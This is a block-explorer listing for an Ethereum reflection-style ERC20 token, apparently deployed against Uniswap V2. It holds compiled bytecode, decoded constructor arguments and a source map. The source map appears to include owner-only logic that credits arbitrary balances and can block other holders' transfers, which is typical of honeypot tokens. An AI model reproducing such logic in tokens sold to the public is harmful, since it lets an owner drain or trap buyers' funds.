600060208284031215611e5857611e57611e07565b5b6000611e6684828501611e2d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ea9578082015181840152602081019050611e8e565b83811115611eb8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eda82611e6f565b611ee48185611e7a565b9350611ef4818560208601611e8b565b611efd81611ebe565b840191505092915050565b60006020820190508181036000830152611f228184611ecf565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f5582611f2a565b9050919050565b611f6581611f4a565b8114611f7057600080fd5b50565b600081359050611f8281611f5c565b92915050565b60008060408385031215611f9f57611f9e611e07565b5b6000611fad85828601611f73565b9250506020611fbe85828601611e2d565b9150509250929050565b60008115159050919050565b611fdd81611fc8565b82525050565b6000602082019050611ff86000830184611fd4565b92915050565b61200781611e0c565b82525050565b60006020820190506120226000830184611ffe565b92915050565b60008060006060848603121561204157612040611e07565b5b600061204f86828701611f73565b935050602061206086828701611f73565b925050604061207186828701611e2d565b9150509250925092565b61208481611f4a565b82525050565b600060208201905061209f600083018461207b565b92915050565b600060ff82169050919050565b6120bb816120a5565b82525050565b60006020820190506120d660008301846120b2565b92915050565b6120e581611fc8565b81146120f057600080fd5b50565b600081359050612102816120dc565b92915050565b6000806040838503121561211f5761211e611e07565b5b600061212d85828601611e2d565b925050602061213e858286016120f3565b9150509250929050565b60006020828403121561215e5761215d611e07565b5b600061216c84828501611f73565b91505092915050565b6000806040838503121561218c5761218b611e07565b5b600061219a85828601611f73565b92505060206121ab85828601611f73565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612211602c83611e7a565b915061221c826121b5565b604082019050919050565b6000602082019050818103600083015261224081612204565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061228e57607f821691505b602082108114156122a2576122a1612247565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612304602a83611e7a565b915061230f826122a8565b604082019050919050565b60006020820190508181036000830152612333816122f7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000612370601f83611e7a565b915061237b8261233a565b602082019050919050565b6000602082019050818103600083015261239f81612363565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123dc602083611e7a565b91506123e7826123a6565b602082019050919050565b6000602082019050818103600083015261240b816123cf565b9050919050565b6000604082019050612427600083018561207b565b6124346020830184611fd4565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061247582611e0c565b915061248083611e0c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124b5576124b461243b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006124f6601b83611e7a565b9150612501826124c0565b602082019050919050565b60006020820190508181036000830152612525816124e9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612588602483611e7a565b91506125938261252c565b604082019050919050565b600060208201905081810360008301526125b78161257b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061261a602283611e7a565b9150612625826125be565b604082019050919050565b600060208201905081810360008301526126498161260d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006126ac602583611e7a565b91506126b782612650565b604082019050919050565b600060208201905081810360008301526126db8161269f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061273e602383611e7a565b9150612749826126e2565b604082019050919050565b6000602082019050818103600083015261276d81612731565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127d0602983611e7a565b91506127db82612774565b604082019050919050565b600060208201905081810360008301526127ff816127c3565b9050919050565b50565b6000612816600083611e7a565b915061282182612806565b600082019050919050565b6000602082019050818103600083015261284581612809565b9050919050565b600061285782611e0c565b915061286283611e0c565b9250828210156128755761287461243b565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ba82611e0c565b91506128c583611e0c565b9250826128d5576128d4612880565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061291a82611e0c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561294d5761294c61243b565b5b600182019050919050565b600061296382611e0c565b915061296e83611e0c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129a7576129a661243b565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a0e602183611e7a565b9150612a19826129b2565b604082019050919050565b60006020820190508181036000830152612a3d81612a01565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bfccdab985b96e7165e0efa227a00c0ad97773a4b766d470def516943a7f1d4764736f6c63430008080033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : V2router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
152:10784:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4253:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1631:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2291:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1908:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3282:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;956:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5059:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1817:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;990:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3750:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4637:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2015:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2868:135;;;:::i;:::-;;3603:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1722:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;424:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3976:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2738:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3107:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2460:270;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2140:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3015:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4253:376;4305:14;4322:12;:10;:12::i;:::-;4305:29;;4354:11;:19;4366:6;4354:19;;;;;;;;;;;;;;;;;;;;;;;;;4353:20;4345:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4434:15;4457:19;4468:7;4457:10;:19::i;:::-;4433:43;;;;;;4505:28;4525:7;4505;:15;4513:6;4505:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4487:7;:15;4495:6;4487:15;;;;;;;;;;;;;;;:46;;;;4554:20;4566:7;4554;;:11;;:20;;;;:::i;:::-;4544:7;:30;;;;4598:23;4613:7;4598:10;;:14;;:23;;;;:::i;:::-;4585:10;:36;;;;4294:335;;4253:376;:::o;1631:83::-;1668:13;1701:5;1694:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1631:83;:::o;2291:161::-;2366:4;2383:39;2392:12;:10;:12::i;:::-;2406:7;2415:6;2383:8;:39::i;:::-;2440:4;2433:11;;2291:161;;;;:::o;1908:95::-;1961:7;398:19;1981:14;;1908:95;:::o;3282:313::-;3380:4;3397:36;3407:6;3415:9;3426:6;3397:9;:36::i;:::-;3444:121;3453:6;3461:12;:10;:12::i;:::-;3475:89;3513:6;3475:89;;;;;;;;;;;;;;;;;:11;:19;3487:6;3475:19;;;;;;;;;;;;;;;:33;3495:12;:10;:12::i;:::-;3475:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3444:8;:121::i;:::-;3583:4;3576:11;;3282:313;;;;;:::o;956:27::-;;;;;;;;;;;;;:::o;5059:253::-;5125:7;5164;;5153;:18;;5145:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5229:19;5252:10;:8;:10::i;:::-;5229:33;;5280:24;5292:11;5280:7;:11;;:24;;;;:::i;:::-;5273:31;;;5059:253;;;:::o;1817:83::-;1858:5;1883:9;;;;;;;;;;;1876:16;;1817:83;:::o;990:26::-;;;;;;;;;;;;;:::o;3750:218::-;3838:4;3855:83;3864:12;:10;:12::i;:::-;3878:7;3887:50;3926:10;3887:11;:25;3899:12;:10;:12::i;:::-;3887:25;;;;;;;;;;;;;;;:34;3913:7;3887:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3855:8;:83::i;:::-;3956:4;3949:11;;3750:218;;;;:::o;4637:414::-;4727:7;398:19;4755:7;:18;;4747:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4825:17;4820:224;;4860:15;4883:19;4894:7;4883:10;:19::i;:::-;4859:43;;;;;;4924:7;4917:14;;;;;4820:224;4956:23;4986:19;4997:7;4986:10;:19::i;:::-;4954:51;;;;;;5027:15;5020:22;;;4637:414;;;;;:::o;2015:117::-;2081:7;2108;:16;2116:7;2108:16;;;;;;;;;;;;;;;;2101:23;;2015:117;;;:::o;2868:135::-;895:12:1;:10;:12::i;:::-;885:22;;:6;;;;;;;;;;:22;;;877:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2935:5:2::1;2922:18;;:9;;;;;;;;;;;:18;;;2918:78;;;2955:4;2943:9;;:16;;;;;;;;;;;;;;;;;;2918:78;;;2989:5;2977:9;;:17;;;;;;;;;;;;;;;;;;2918:78;2868:135::o:0;3603:139::-;895:12:1;:10;:12::i;:::-;885:22;;:6;;;;;;;;;;:22;;;877:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3710:24:2::1;3730:3;3710:7;:15;3718:6;3710:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;3692:7;:15;3700:6;3692:15;;;;;;;;;;;;;;;:42;;;;3603:139:::0;;:::o;1722:87::-;1761:13;1794:7;1787:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1722:87;:::o;424:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3976:269::-;4069:4;4086:129;4095:12;:10;:12::i;:::-;4109:7;4118:96;4157:15;4118:96;;;;;;;;;;;;;;;;;:11;:25;4130:12;:10;:12::i;:::-;4118:25;;;;;;;;;;;;;;;:34;4144:7;4118:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;4086:8;:129::i;:::-;4233:4;4226:11;;3976:269;;;;:::o;2738:118::-;2800:4;2824:14;:24;2839:8;2824:24;;;;;;;;;;;;;;;;;;;;;;;;;2817:31;;2738:118;;;:::o;3107:167::-;3185:4;3202:42;3212:12;:10;:12::i;:::-;3226:9;3237:6;3202:9;:42::i;:::-;3262:4;3255:11;;3107:167;;;;:::o;2460:270::-;895:12:1;:10;:12::i;:::-;885:22;;:6;;;;;;;;;;:22;;;877:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2563:4:2::1;2535:32;;:14;:24;2550:8;2535:24;;;;;;;;;;;;;;;;;;;;;;;;;:32;;;2531:192;;;2597:5;2570:14;:24;2585:8;2570:24;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;2531:192;;;2647:4;2620:14;:24;2635:8;2620:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;2668:53;2686:8;2696:14;:24;2711:8;2696:24;;;;;;;;;;;;;;;;;;;;;;;;;2668:53;;;;;;;:::i;:::-;;;;;;;;2531:192;2460:270:::0;:::o;2140:143::-;2221:7;2248:11;:18;2260:5;2248:18;;;;;;;;;;;;;;;:27;2267:7;2248:27;;;;;;;;;;;;;;;;2241:34;;2140:143;;;;:::o;3015:84::-;3058:4;3082:9;;;;;;;;;;;3075:16;;3015:84;:::o;1766:132:3:-;1824:7;1851:39;1855:1;1858;1851:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1844:46;;1766:132;;;;:::o;521:136::-;579:7;606:43;610:1;613;606:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;599:50;;521:136;;;;:::o;108:114:1:-;161:15;203:10;188:26;;108:114;:::o;9211:411:2:-;9270:7;9279;9288;9297;9306;9327:23;9352:12;9368:20;9380:7;9368:11;:20::i;:::-;9326:62;;;;9399:19;9422:10;:8;:10::i;:::-;9399:33;;9444:15;9461:23;9486:12;9502:39;9514:7;9523:4;9529:11;9502;:39::i;:::-;9443:98;;;;;;9560:7;9569:15;9586:4;9592:15;9609:4;9552:62;;;;;;;;;;;;;;;;9211:411;;;;;;;:::o;200:179:3:-;258:7;278:9;294:1;290;:5;;;;:::i;:::-;278:17;;319:1;314;:6;;306:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;370:1;363:8;;;200:179;;;;:::o;5320:335:2:-;5430:1;5413:19;;:5;:19;;;;5405:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5511:1;5492:21;;:7;:21;;;;5484:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5593:6;5563:11;:18;5575:5;5563:18;;;;;;;;;;;;;;;:27;5582:7;5563:27;;;;;;;;;;;;;;;:36;;;;5631:7;5615:32;;5624:5;5615:32;;;5640:6;5615:32;;;;;;:::i;:::-;;;;;;;;5320:335;;;:::o;5665:765::-;5780:1;5762:20;;:6;:20;;;;5754:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5864:1;5843:23;;:9;:23;;;;5835:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5934:1;5925:6;:10;5917:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5996:14;:22;6011:6;5996:22;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;6022:14;:25;6037:9;6022:25;;;;;;;;;;;;;;;;;;;;;;;;;5996:51;5992:82;;;6068:1;6058:6;:11;6049:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5992:82;6102:5;6089:18;;:9;;;;;;;;;;;:18;;;:39;;;;6121:7;:5;:7::i;:::-;6111:17;;:6;:17;;;6089:39;:63;;;;6145:7;:5;:7::i;:::-;6132:20;;:9;:20;;;6089:63;6085:338;;;6183:69;6203:6;6183:69;;;;;;;;;;;;;;;;;:7;:15;6191:6;6183:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6165:7;:15;6173:6;6165:15;;;;;;;;;;;;;;;:87;;;;6284:30;6307:6;6284:7;:18;6292:9;6284:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6263:7;:18;6271:9;6263:18;;;;;;;;;;;;;;;:51;;;;6347:9;6330:35;;6339:6;6330:35;;;6358:6;6330:35;;;;;;:::i;:::-;;;;;;;;6085:338;;;6411:5;6398:18;;:9;;;;;;;;;;;:18;;;6389:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6085:338;5665:765;;;:::o;827:190:3:-;913:7;946:1;941;:6;;949:12;933:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;973:9;989:1;985;:5;;;;:::i;:::-;973:17;;1008:1;1001:8;;;827:190;;;;;:::o;10211:163:2:-;10252:7;10273:15;10290;10309:19;:17;:19::i;:::-;10272:56;;;;10346:20;10358:7;10346;:11;;:20;;;;:::i;:::-;10339:27;;;;10211:163;:::o;2085:276:3:-;2171:7;2203:1;2199;:5;2206:12;2191:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2230:9;2246:1;2242;:5;;;;:::i;:::-;2230:17;;2352:1;2345:8;;;2085:276;;;;;:::o;9630:231:2:-;9690:7;9699;9719:12;9734:24;9756:1;9734:17;9746:4;9734:7;:11;;:17;;;;:::i;:::-;:21;;:24;;;;:::i;:::-;9719:39;;9769:23;9795:17;9807:4;9795:7;:11;;:17;;;;:::i;:::-;9769:43;;9831:15;9848:4;9823:30;;;;;;9630:231;;;:::o;9869:334::-;9964:7;9973;9982;10002:15;10020:24;10032:11;10020:7;:11;;:24;;;;:::i;:::-;10002:42;;10055:12;10070:21;10079:11;10070:4;:8;;:21;;;;:::i;:::-;10055:36;;10102:23;10128:17;10140:4;10128:7;:11;;:17;;;;:::i;:::-;10102:43;;10164:7;10173:15;10190:4;10156:39;;;;;;;;;9869:334;;;;;;;:::o;1061:81:1:-;1101:7;1128:6;;;;;;;;;;;1121:13;;1061:81;:::o;10382:551:2:-;10432:7;10441;10461:15;10479:7;;10461:25;;10497:15;398:19;10497:25;;10544:9;10539:279;10563:9;:16;;;;10559:1;:20;10539:279;;;10629:7;10605;:21;10613:9;10623:1;10613:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10605:21;;;;;;;;;;;;;;;;:31;:66;;;;10664:7;10640;:21;10648:9;10658:1;10648:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10640:21;;;;;;;;;;;;;;;;:31;10605:66;10601:97;;;10681:7;;398:19;10673:25;;;;;;;;;10601:97;10723:34;10735:7;:21;10743:9;10753:1;10743:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10735:21;;;;;;;;;;;;;;;;10723:7;:11;;:34;;;;:::i;:::-;10713:44;;10782:34;10794:7;:21;10802:9;10812:1;10802:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10794:21;;;;;;;;;;;;;;;;10782:7;:11;;:34;;;;:::i;:::-;10772:44;;10581:3;;;;;:::i;:::-;;;;10539:279;;;;10842:20;398:19;10842:7;;:11;;:20;;;;:::i;:::-;10832:7;:30;10828:61;;;10872:7;;398:19;10864:25;;;;;;;;10828:61;10908:7;10917;10900:25;;;;;;10382:551;;;:::o;1132:467:3:-;1190:7;1440:1;1435;:6;1431:47;;;1465:1;1458:8;;;;1431:47;1488:9;1504:1;1500;:5;;;;:::i;:::-;1488:17;;1533:1;1528;1524;:5;;;;:::i;:::-;:10;1516:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1590:1;1583:8;;;1132:467;;;;;:::o;88:117:4:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:86::-;5193:7;5233:4;5226:5;5222:16;5211:27;;5158:86;;;:::o;5250:112::-;5333:22;5349:5;5333:22;:::i;:::-;5328:3;5321:35;5250:112;;:::o;5368:214::-;5457:4;5495:2;5484:9;5480:18;5472:26;;5508:67;5572:1;5561:9;5557:17;5548:6;5508:67;:::i;:::-;5368:214;;;;:::o;5588:116::-;5658:21;5673:5;5658:21;:::i;:::-;5651:5;5648:32;5638:60;;5694:1;5691;5684:12;5638:60;5588:116;:::o;5710:133::-;5753:5;5791:6;5778:20;5769:29;;5807:30;5831:5;5807:30;:::i;:::-;5710:133;;;;:::o;5849:468::-;5914:6;5922;5971:2;5959:9;5950:7;5946:23;5942:32;5939:119;;;5977:79;;:::i;:::-;5939:119;6097:1;6122:53;6167:7;6158:6;6147:9;6143:22;6122:53;:::i;:::-;6112:63;;6068:117;6224:2;6250:50;6292:7;6283:6;6272:9;6268:22;6250:50;:::i;:::-;6240:60;;6195:115;5849:468;;;;;:::o;6323:329::-;6382:6;6431:2;6419:9;6410:7;6406:23;6402:32;6399:119;;;6437:79;;:::i;:::-;6399:119;6557:1;6582:53;6627:7;6618:6;6607:9;6603:22;6582:53;:::i;:::-;6572:63;;6528:117;6323:329;;;;:::o;6658:474::-;6726:6;6734;6783:2;6771:9;6762:7;6758:23;6754:32;6751:119;;;6789:79;;:::i;:::-;6751:119;6909:1;6934:53;6979:7;6970:6;6959:9;6955:22;6934:53;:::i;:::-;6924:63;;6880:117;7036:2;7062:53;7107:7;7098:6;7087:9;7083:22;7062:53;:::i;:::-;7052:63;;7007:118;6658:474;;;;;:::o;7138:231::-;7278:34;7274:1;7266:6;7262:14;7255:58;7347:14;7342:2;7334:6;7330:15;7323:39;7138:231;:::o;7375:366::-;7517:3;7538:67;7602:2;7597:3;7538:67;:::i;:::-;7531:74;;7614:93;7703:3;7614:93;:::i;:::-;7732:2;7727:3;7723:12;7716:19;;7375:366;;;:::o;7747:419::-;7913:4;7951:2;7940:9;7936:18;7928:26;;8000:9;7994:4;7990:20;7986:1;7975:9;7971:17;7964:47;8028:131;8154:4;8028:131;:::i;:::-;8020:139;;7747:419;;;:::o;8172:180::-;8220:77;8217:1;8210:88;8317:4;8314:1;8307:15;8341:4;8338:1;8331:15;8358:320;8402:6;8439:1;8433:4;8429:12;8419:22;;8486:1;8480:4;8476:12;8507:18;8497:81;;8563:4;8555:6;8551:17;8541:27;;8497:81;8625:2;8617:6;8614:14;8594:18;8591:38;8588:84;;;8644:18;;:::i;:::-;8588:84;8409:269;8358:320;;;:::o;8684:229::-;8824:34;8820:1;8812:6;8808:14;8801:58;8893:12;8888:2;8880:6;8876:15;8869:37;8684:229;:::o;8919:366::-;9061:3;9082:67;9146:2;9141:3;9082:67;:::i;:::-;9075:74;;9158:93;9247:3;9158:93;:::i;:::-;9276:2;9271:3;9267:12;9260:19;;8919:366;;;:::o;9291:419::-;9457:4;9495:2;9484:9;9480:18;9472:26;;9544:9;9538:4;9534:20;9530:1;9519:9;9515:17;9508:47;9572:131;9698:4;9572:131;:::i;:::-;9564:139;;9291:419;;;:::o;9716:181::-;9856:33;9852:1;9844:6;9840:14;9833:57;9716:181;:::o;9903:366::-;10045:3;10066:67;10130:2;10125:3;10066:67;:::i;:::-;10059:74;;10142:93;10231:3;10142:93;:::i;:::-;10260:2;10255:3;10251:12;10244:19;;9903:366;;;:::o;10275:419::-;10441:4;10479:2;10468:9;10464:18;10456:26;;10528:9;10522:4;10518:20;10514:1;10503:9;10499:17;10492:47;10556:131;10682:4;10556:131;:::i;:::-;10548:139;;10275:419;;;:::o;10700:182::-;10840:34;10836:1;10828:6;10824:14;10817:58;10700:182;:::o;10888:366::-;11030:3;11051:67;11115:2;11110:3;11051:67;:::i;:::-;11044:74;;11127:93;11216:3;11127:93;:::i;:::-;11245:2;11240:3;11236:12;11229:19;;10888:366;;;:::o;11260:419::-;11426:4;11464:2;11453:9;11449:18;11441:26;;11513:9;11507:4;11503:20;11499:1;11488:9;11484:17;11477:47;11541:131;11667:4;11541:131;:::i;:::-;11533:139;;11260:419;;;:::o;11685:320::-;11800:4;11838:2;11827:9;11823:18;11815:26;;11851:71;11919:1;11908:9;11904:17;11895:6;11851:71;:::i;:::-;11932:66;11994:2;11983:9;11979:18;11970:6;11932:66;:::i;:::-;11685:320;;;;;:::o;12011:180::-;12059:77;12056:1;12049:88;12156:4;12153:1;12146:15;12180:4;12177:1;12170:15;12197:305;12237:3;12256:20;12274:1;12256:20;:::i;:::-;12251:25;;12290:20;12308:1;12290:20;:::i;:::-;12285:25;;12444:1;12376:66;12372:74;12369:1;12366:81;12363:107;;;12450:18;;:::i;:::-;12363:107;12494:1;12491;12487:9;12480:16;;12197:305;;;;:::o;12508:177::-;12648:29;12644:1;12636:6;12632:14;12625:53;12508:177;:::o;12691:366::-;12833:3;12854:67;12918:2;12913:3;12854:67;:::i;:::-;12847:74;;12930:93;13019:3;12930:93;:::i;:::-;13048:2;13043:3;13039:12;13032:19;;12691:366;;;:::o;13063:419::-;13229:4;13267:2;13256:9;13252:18;13244:26;;13316:9;13310:4;13306:20;13302:1;13291:9;13287:17;13280:47;13344:131;13470:4;13344:131;:::i;:::-;13336:139;;13063:419;;;:::o;13488:223::-;13628:34;13624:1;13616:6;13612:14;13